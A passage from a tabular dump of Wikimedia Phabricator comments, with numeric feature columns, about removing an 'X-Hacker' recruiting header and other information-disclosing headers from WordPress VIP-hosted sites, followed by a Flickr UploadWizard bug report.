Yup! It's T193912.",,,1569434828,,PHID-USER-tafu2uuupsf2oupzja23,False,,,PHID-TASK-cmi5u75baovicpb4veoy,task_subcomment,,True,c3,3,True,,,220,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,38.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.875,1.0,"QUOTE

Yup! It's T193912."
1359659,Remove X-Hacker HTTP header served on sites hosted by WordPress VIP (Automattic),Yup! It's T193912.,,,1569434796,,PHID-USER-tafu2uuupsf2oupzja23,False,,,PHID-TASK-cmi5u75baovicpb4veoy,task_subcomment,,True,c3,3,True,,,220,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,17.0,0.0,0.0,17.0,0.0,17.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.6666666666666665,1.0,Yup! It's T193912.
1359462,Remove X-Hacker HTTP header served on sites hosted by WordPress VIP (Automattic),"Thanks for the reply, @Varnent:

> The policy site is managed by the Legal team - although I could probably help them with a patch if I can dig up what we did for the Foundation site.

Is there a technical contact on #wmf-legal for that site?  Otherwise, we probably want to be proactive here and create and deploy the patch for them.  Happy to help, though I obviously do not have access to the Automattic servers.

> The blog site is intended to be archived and moved to the Foundation's servers. The task was something Technology was working on, but I think got delayed with the leadership transitions.

Ok.  Is there an open task for it?",,,1569422430,,PHID-USER-dccizlq7dtc2zihfk7cd,False,,,PHID-TASK-cmi5u75baovicpb4veoy,task_subcomment,,True,c3,3,True,,,220,True,0.0,0.0,0.0,0.0,1.0,9.0,1.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,3.0,3.0,0.0,7.0,12.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,18.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,15.0,1.0,3.0,8.0,0.0,0.0,0.0,1.0,7.0,0.0,0.0,0.0,5.0,12.0,0.0,3.0,0.0,0.0,5.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,3.5945945945945947,0.7162162162162162,"Thanks for the reply,SCREEN_NAME:

QUOTE

Is there a technical contact on #wmf-legal for that site?  Otherwise, we probably want to be proactive here and create and deploy the patch for them.  Happy to help, though I obviously do not have access to the Automattic servers.

QUOTE

Ok.  Is there an open task for it?"
1358882,Remove X-Hacker HTTP header served on sites hosted by WordPress VIP (Automattic),">>! In T70982#5516652, @sbassett wrote:
> @Varnent -
> 
> I know this task is probably low-priority, but is there any update on **blog.wikimedia.org** and/or **policy.wikimedia.org**?  Both still have the `x-hacker: If you're reading this...` header.  Additionally, **blog.wikimedia.org** has an amusing but possibly inappropriate `x-nananana: Batcache` header and **policy.wikimedia.org** has `x-powered-by: WordPress.com VIP <https://wpvip.com>` and `x-pingback: https://policy.wikimedia.org/xmlrpc.php` headers, which provide some information disclosure and probably shouldn't be sent if they do not have to be.

The policy site is managed by the Legal team - although I could probably help them with a patch if I can dig up what we did for the Foundation site. The blog site is intended to be archived and moved to the Foundation's servers. The task was something Technology was working on, but I think got delayed with the leadership transitions.",,,1569355689,,PHID-USER-tbsqok4i4d2fpoef36s2,False,,,PHID-TASK-cmi5u75baovicpb4veoy,task_subcomment,,True,c3,3,True,,,220,True,0.0,1.0,0.0,4.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,1.0,13.0,1.0,1.0,0.0,0.0,0.0,5.0,1.0,0.0,0.0,3.0,0.0,0.0,4.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,11.0,7.0,19.0,3.0,3.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,7.0,13.0,8.0,0.0,0.0,0.0,7.0,0.0,1.0,1.0,1.0,1.0,0.0,0.0,0.0,3.986666666666667,0.72,"QUOTE
QUOTE
QUOTE
QUOTE

The policy site is managed by the Legal team - although I could probably help them with a patch if I can dig up what we did for the Foundation site. The blog site is intended to be archived and moved to the Foundation's servers. The task was something Technology was working on, but I think got delayed with the leadership transitions."
1357890,Remove X-Hacker HTTP header served on sites hosted by WordPress VIP (Automattic),"@Varnent -

I know this task is probably low-priority, but is there any update on **blog.wikimedia.org** and/or **policy.wikimedia.org**?  Both still have the `x-hacker: If you're reading this...` header.  Additionally, **blog.wikimedia.org** has an amusing but possibly inappropriate `x-nananana: Batcache` header and **policy.wikimedia.org** has `x-powered-by: WordPress.com VIP <https://wpvip.com>` and `x-pingback: https://policy.wikimedia.org/xmlrpc.php` headers, which provide some information disclosure and probably shouldn't be sent if they do not have to be.",,,1569257879,,PHID-USER-dccizlq7dtc2zihfk7cd,False,,,PHID-TASK-cmi5u75baovicpb4veoy,task_subcomment,,True,c3,3,True,,,220,True,2.0,0.0,0.0,1.0,2.0,8.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,8.0,3.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,9.0,1.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,9.0,1.0,7.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,3.0,7.0,1.0,0.0,0.0,2.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,4.255813953488372,0.6046511627906976,"SCREEN_NAME -

I know this task is probably low-priority, but is there any update on **blog.wikimedia.org** and/or **policy.wikimedia.org**?  Both still have the CODE header.  Additionally, **blog.wikimedia.org** has an amusing but possibly inappropriate CODE header and **policy.wikimedia.org** has CODE and CODE headers, which provide some information disclosure and probably shouldn't be sent if they do not have to be."
1357888,Remove X-Hacker HTTP header served on sites hosted by WordPress VIP (Automattic),"@Varnent -

I know this task is probably low-priority, but is there any update on **blog.wikimedia.org** and/or **policy.wikimedia.org**?  Both still have the `x-hacker: If you're reading this...` header.  Additionally, blog.wikimedia.org has an amusing but possibly inappropriate `x-nananana: Batcache` header and policy.wikimedia.org has `x-powered-by: WordPress.com VIP <https://wpvip.com>` and `x-pingback: https://policy.wikimedia.org/xmlrpc.php` headers, which provide some information disclosure and probably shouldn't be sent if they do not have to be.",,,1569257855,,PHID-USER-dccizlq7dtc2zihfk7cd,False,,,PHID-TASK-cmi5u75baovicpb4veoy,task_subcomment,,True,c3,3,True,,,220,True,3.0,0.0,0.0,1.0,3.0,6.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,9.0,4.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,10.0,1.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,10.0,1.0,8.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.0,4.0,9.0,1.0,0.0,0.0,3.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,4.589743589743589,0.6666666666666666,"SCREEN_NAME -

I know this task is probably low-priority, but is there any update on **blog.wikimedia.org** and/or **policy.wikimedia.org**?  Both still have the CODE header.  Additionally, blog.wikimedia.org has an amusing but possibly inappropriate CODE header and policy.wikimedia.org has CODE and CODE headers, which provide some information disclosure and probably shouldn't be sent if they do not have to be."
1357835,Remove X-Hacker HTTP header served on sites hosted by WordPress VIP (Automattic),"@Varnent -

I know this task is probably low-priority, but is there any update on blog.wikimedia.org and/or policy.wikimedia.org  Both still have the `x-hacker: If you're reading this...` header.  Additionally, blog.wikimedia.org has an amusing but possibly inappropriate `x-nananana: Batcache` header and policy.wikimedia.org has `x-powered-by: WordPress.com VIP <https://wpvip.com>` and `x-pingback: https://policy.wikimedia.org/xmlrpc.php` headers, which provide some information disclosure and probably shouldn't be sent if they do not have to be.",,,1569255606,,PHID-USER-dccizlq7dtc2zihfk7cd,False,,,PHID-TASK-cmi5u75baovicpb4veoy,task_subcomment,,True,c3,3,True,,,220,True,3.0,0.0,0.0,1.0,3.0,4.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,10.0,4.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,12.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,12.0,1.0,9.0,10.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.0,4.0,9.0,0.0,0.0,0.0,3.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,5.057971014492754,0.7246376811594203,"SCREEN_NAME -

I know this task is probably low-priority, but is there any update on blog.wikimedia.org and/or policy.wikimedia.org  Both still have the CODE header.  Additionally, blog.wikimedia.org has an amusing but possibly inappropriate CODE header and policy.wikimedia.org has CODE and CODE headers, which provide some information disclosure and probably shouldn't be sent if they do not have to be."
1146141,Remove X-Hacker HTTP header served on sites hosted by WordPress VIP (Automattic),This has been resolved on wikimediafoundation.org. It will be resolved on blog.wikimedia.org when we archive the site in the coming months.,,,1537565526,,PHID-USER-tbsqok4i4d2fpoef36s2,False,,,PHID-TASK-cmi5u75baovicpb4veoy,task_subcomment,,True,c3,3,True,,,168,True,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,9.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,9.0,4.0,0.0,13.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,9.0,13.0,4.0,0.0,0.0,0.0,9.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,4.0,5.173913043478261,0.8260869565217391,This has been resolved on wikimediafoundation.org. It will be resolved on blog.wikimedia.org when we archive the site in the coming months.
1138090,Remove X-Hacker HTTP header served on sites hosted by WordPress VIP (Automattic),"Naturally, this applies to policy.wikimedia.org as well.",,,1536450708,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-cmi5u75baovicpb4veoy,task_subcomment,,True,c3,3,True,,,166,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.555555555555555,1.0,"Naturally, this applies to policy.wikimedia.org as well."
1133470,Remove X-Hacker HTTP header served on sites hosted by WordPress VIP (Automattic),">>! In T70982#4549007, @Jgreen wrote:
>>>! In T70982#4548927, @chasemp wrote:
>> Is this gone now?  I can no longer reproduce atm.
> 
> I see it still on both blog and wikimediafoundation sites, but the header shows up lowercase in curl output:
> 
> jgreen@weasel:~> curl -vs https://wikimediafoundation.org  2>&1 |grep -i X-hacker
> < x-hacker: If you're reading this, you should visit automattic.com/jobs and apply to join the fun, mention this header.

Ah yes, thanks @Jgreen ",,,1535736935,,PHID-USER-3neel27i7dyu62jbbx2l,False,,,PHID-TASK-cmi5u75baovicpb4veoy,task_subcomment,,True,c3,3,True,,,165,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,45.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,35.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6,0.35,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Ah yes, thanksSCREEN_NAME "
1133415,Remove X-Hacker HTTP header served on sites hosted by WordPress VIP (Automattic),">>! In T70982#4548927, @chasemp wrote:
> Is this gone now?  I can no longer reproduce atm.

I see it still on both blog and wikimediafoundation sites, but the header shows up lowercase in curl output:

jgreen@weasel:~> curl -vs https://wikimediafoundation.org  2>&1 |grep -i X-hacker
< x-hacker: If you're reading this, you should visit automattic.com/jobs and apply to join the fun, mention this header.",,,1535731507,,PHID-USER-cwqdddnpyui7ysn4xsuw,False,,,PHID-TASK-cmi5u75baovicpb4veoy,task_subcomment,,True,c3,3,True,,,165,True,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,8.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,2.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,28.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,9.0,2.0,6.0,6.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,6.0,8.0,5.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0,3.9076923076923076,0.7846153846153846,"QUOTE
QUOTE

I see it still on both blog and wikimediafoundation sites, but the header shows up lowercase in curl output:

jgreen@weasel:~> curl -vs URL  2>&1 |grep -i X-hacker
< x-hacker: If you're reading this, you should visit automattic.com/jobs and apply to join the fun, mention this header."
1133396,Remove X-Hacker HTTP header served on sites hosted by WordPress VIP (Automattic),Is this gone now?  I can no longer reproduce atm.,,,1535729356,,PHID-USER-3neel27i7dyu62jbbx2l,False,,,PHID-TASK-cmi5u75baovicpb4veoy,task_subcomment,,True,c3,3,True,,,165,True,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,15.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.076923076923077,1.0,Is this gone now?  I can no longer reproduce atm.
1133320,Remove X-Hacker HTTP header served on sites hosted by WordPress VIP (Automattic),@JBennett just pointed out that this also applies to wikimediafoundation.org,,,1535722673,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-cmi5u75baovicpb4veoy,task_subcomment,,True,c3,3,True,,,165,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,30.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,30.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,6.9,1.0,SCREEN_NAME just pointed out that this also applies to wikimediafoundation.org
735401,Remove X-Hacker HTTP header served on sites hosted by WordPress VIP (Automattic),"Yes:
```alex@alex-laptop:~$ curl -vs https://blog.wikimedia.org 2>&1 >/dev/null | fgrep X-hacker
< X-hacker: If you're reading this, you should visit automattic.com/jobs and apply to join the fun, mention this header.```",,,1475003135,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-cmi5u75baovicpb4veoy,task_subcomment,,True,c3,3,True,,,64,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.625,0.625,"Yes:
``CODE``"
735398,Remove X-Hacker HTTP header served on sites hosted by WordPress VIP (Automattic),@Krenair @yuvipanda is this still an issue?,,,1475003007,,PHID-USER-tafu2uuupsf2oupzja23,False,,,PHID-TASK-cmi5u75baovicpb4veoy,task_subcomment,,True,c3,3,True,,,64,True,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,14.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,5.857142857142857,1.0,SCREEN_NAMESCREEN_NAME is this still an issue?
394888,Remove X-Hacker HTTP header served on sites hosted by WordPress VIP (Automattic),"Well, this is my personal opinion, but I would expect WMF to completely disallow such advertising on Wikimedia sites in the contract.",,,1420297289,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-cmi5u75baovicpb4veoy,task_subcomment,,True,c3,1,True,,,-26,True,0.0,0.0,4.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,4.0,4.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,4.0,16.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,8.0,12.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.48,0.96,"Well, this is my personal opinion, but I would expect WMF to completely disallow such advertising on Wikimedia sites in the contract."
394850,Remove X-Hacker HTTP header served on sites hosted by WordPress VIP (Automattic),Everyone's allowed to use any header :),,,1420274475,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-cmi5u75baovicpb4veoy,task_subcomment,,True,c3,1,True,,,-26,True,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.125,1.0,Everyone's allowed to use any header :)
394559,Remove X-Hacker HTTP header served on sites hosted by WordPress VIP (Automattic),I can't help but wonder if they're allowed to use that header at all...,,,1420072286,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-cmi5u75baovicpb4veoy,task_subcomment,,True,c3,1,True,,,-26,True,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,12.0,0.0,0.0,0.0,6.0,0.0,18.0,18.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,6.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,12.0,18.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.411764705882353,1.0,I can't help but wonder if they're allowed to use that header at all...
70981,Wizard refuses to upload images from flickr via http,"**Author:** `cometstyles`

**Description:**
When trying to upload an image from flickr to commons via [[Special UploadWizard/Flickr]] using http, when we add the image link to the ""Get from Flickr"", it goes to the next step but the image just keeps on loading (in a loop).... it doesn't go any further ..only affects http version, not the https one..

The web console for the browser shows this:

GET https://api.flickr.com/services/rest/            [HTTP/1.1 200 OK 3453ms]
GET https://api.flickr.com/services/rest/                 [HTTP/1.1 200 OK 1282ms]
GET http://commons.wikimedia.org/w/api.php               [HTTP/1.1 200 OK 2064ms]
GET https://api.flickr.com/services/rest/                [HTTP/1.1 200 OK 547ms]
GET http://commons.wikimedia.org/w/api.php            [HTTP/1.1 200 OK 985ms]
POST http://commons.wikimedia.org/w/api.php              [HTTP/1.1 504 Gateway Time-out 10433ms]

--------------------------
**Version**: unspecified
**Severity**: normal
**OS**: Windows Vista
**Platform**: PC",Medium,50.0,1406854860,1444297110.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,PHID-USER-oxd6f6xemkuyttw7z7wl,False,PHID-TASK-iaxahhmubp3lpg5ciw7l,task_description,invalid,True,c3,1,False,False,False,-48,True,0.5,0.0,0.0,0.0,1.0,3.5,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.5,0.0,0.5,0.0,5.0,8.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.5,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,18.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,4.5,0.0,21.5,1.0,0.5,5.0,0.0,0.0,0.0,0.0,4.0,0.5,3.5,0.0,1.5,8.5,5.5,0.0,1.0,0.0,1.5,0.0,1.0,1.0,0.0,1.0,0.5,0.0,4.0,3.5969179553264605,0.5535867697594502,"**Author:** CODE

**Description:**
When trying to upload an image from flickr to commons via [[Special UploadWizard/Flickr]] using http, when we add the image link to the ""Get from Flickr"", it goes to the next step but the image just keeps on loading (in a loop).... it doesn't go any further ..only affects http version, not the https one..

The web console for the browser shows this:

GET URL            [HTTP/1.1 200 OK 3453ms]
GET URL                 [HTTP/1.1 200 OK 1282ms]
GET URL               [HTTP/1.1 200 OK 2064ms]
GET URL                [HTTP/1.1 200 OK 547ms]
GET URL            [HTTP/1.1 200 OK 985ms]
POST URL              [HTTP/1.1 504 Gateway Time-out 10433ms]

--------------------------
**Version**: unspecified
**Severity**: normal
**OS**: Windows Vista
**Platform**: PC"
543315,Wizard refuses to upload images from flickr via http,"Using http urls works for me.
To make this bug report reproducible, please indicate which image is not working.",,,1444297110,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-iaxahhmubp3lpg5ciw7l,task_subcomment,,True,c3,3,True,,,14,True,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,9.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,4.0,0.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,4.0,9.0,0.0,0.0,0.0,4.086956521739131,0.9565217391304348,"Using http urls works for me.
To make this bug report reproducible, please indicate which image is not working."
309175,Wizard refuses to upload images from flickr via http,"**cometstyles** wrote:

Its still a problem, when on http (http://commons.wikimedia.org/wiki/Special:UploadWizard), it refuses to upload most images, it goes on a loop, nothing to do with vrowser cache, more to do with being unable to converts https API link to http ..
web console data for ""POST"" (http://pastebin.com/HfbLGEXm)",,,1407503664,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-iaxahhmubp3lpg5ciw7l,task_subcomment,,True,c3,1,False,,,-47,True,0.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,16.0,2.0,6.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,8.0,2.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,5.0,16.0,6.0,0.0,3.0,0.0,5.0,0.0,2.0,3.0,0.0,0.0,2.0,2.0,0.0,3.306451612903226,0.6935483870967742,"**cometstyles** wrote:

